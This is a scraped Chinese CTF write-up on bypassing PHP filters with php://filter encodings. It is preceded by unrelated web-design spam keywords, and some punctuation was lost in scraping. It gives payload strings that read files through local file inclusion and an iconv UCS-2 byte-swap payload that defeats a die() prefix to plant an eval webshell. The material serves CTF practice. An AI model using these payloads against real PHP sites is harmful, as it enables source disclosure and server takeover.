南昌专业做网站公司哪家好,宜昌市建设监理协会网站,横沥做网站,网站页面设计风格CTF题型 php://filter特殊编码绕过小汇总 文章目录 CTF题型 php://filter特殊编码绕过小汇总特殊编码base64编码string过滤器iconv字符集 例题1.[Newstarctf 2023 week2 include]2.[Ctfshow web 117] php://filter 是一个伪协议#xff0c;它允许你读取经过过滤器处理的数据流…CTF题型 php://filter特殊编码绕过小汇总 文章目录 CTF题型 php://filter特殊编码绕过小汇总特殊编码base64编码string过滤器iconv字符集 例题1.[Newstarctf 2023 week2 include]2.[Ctfshow web 117] php://filter 是一个伪协议它允许你读取经过过滤器处理的数据流。过滤器可以执行各种转换如 base64 编码/解码、字符串压缩/解压缩等 它的存在是数据流和控制流的“中间人”有点类似我们抓包工具Burp的感觉我们可以人为进行操控更改数据流 应用范围/特征关键词 比如readfile(),file(),file_get_content(),include()
特殊编码 base家族 string过滤器 iconv字符集
base64编码 注意php://filter只支持base64 php://filter/convert.base64-encode/resourceflag.php
string过滤器
比较常用的就是rot13
php://filter/string.rot13/resourceflag.php 读取后进行解码 在线工具https://www.useotools.com/zh/rot13
string.strip_tags从字符串中去除 HTML 和 PHP 标记php标签里所有东西都会被去除html只有标签会被去除里面的文字不会删除
php://filter/string.strip_tags/resourceflag.php
还有大小写的转换但是基本没什么用
iconv字符集
convert.iconv.. 如何理解结构 convert.iconv.. input-encoding 用于解释 string 的当前编码。 数据流 可以识别的字符集 to_encoding 所需的结果编码。 进行转换的字符集 UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*UCS是什么通用多八位编码字符集
常用的编码绕过
对于小众编码的解码在线网站 https://www.novel.tools/decode/
将flag.php内容解释为UTF-8后转化为UTF-7进行输出
php://filter/convert.iconv.UTF-8.UTF-7/resourceflag.php
将flag.php内容解释为UTF-7后转化为UCS-2进行输出
php://filter/convert.iconv.UTF-7.UCS-2/resourceflag.php
依次类推编码方法有很多
php://filter/convert.iconv.UTF-7.UCS-4/resourceflag.php
例题
1.[Newstarctf 2023 week2 include]
https://buuoj.cn/match/matches/190/challenges
过滤了base,rot可以用iconv字符集绕过
php://filter/convert.iconv.UTF-7.UCS-4/resourceflag.php
可以直接输出flag 正常一点我们可以用
php://filter/convert.iconv.UTF-8.UTF-7/resourceflag.php
将flag.php内容解释为UTF -8编码识别后转化为UTF-7进行输出 对于小众编码的解码在线网站 https://www.novel.tools/decode/ 一样可以得到内容 2.[Ctfshow web 117]
?php/*
# -*- coding: utf-8 -*-
# Author: yu22x
# Date: 2020-09-16 11:25:09
# Last Modified by: h1xa
# Last Modified time: 2020-10-01 18:16:59*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){if(preg_match(/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i,$x)){die(too young too simple sometimes naive!);}
}
$file$_GET[file];
$contents$_POST[contents];
filter($file);
file_put_contents($file, ?php die();?.$contents);非常典型的绕过死亡exit
这里禁止了base64,rot13,string
这里file_put_contents文件名部分文件内容可控显然要我们写马进去
但是不能让?php die();?生效但是要保证php内容可以被解析
iconv编码绕过
实现原理分析
比如官方的解法:php://filter/writeconvert.iconv.ucs-2be.ucs-2le/resourceshell.php
现在我们要写入的数据流是?php die();??hp pvela$(P_SO[T]1;)?
但是在真正写入之前php://filter控制了数据流
将数据流数据读取为ucs-2be然后转换ucs-2le后输出写入文件 这样就实现了绕过死亡exit并且实现了写马
具体做题步骤 可以实现写入马子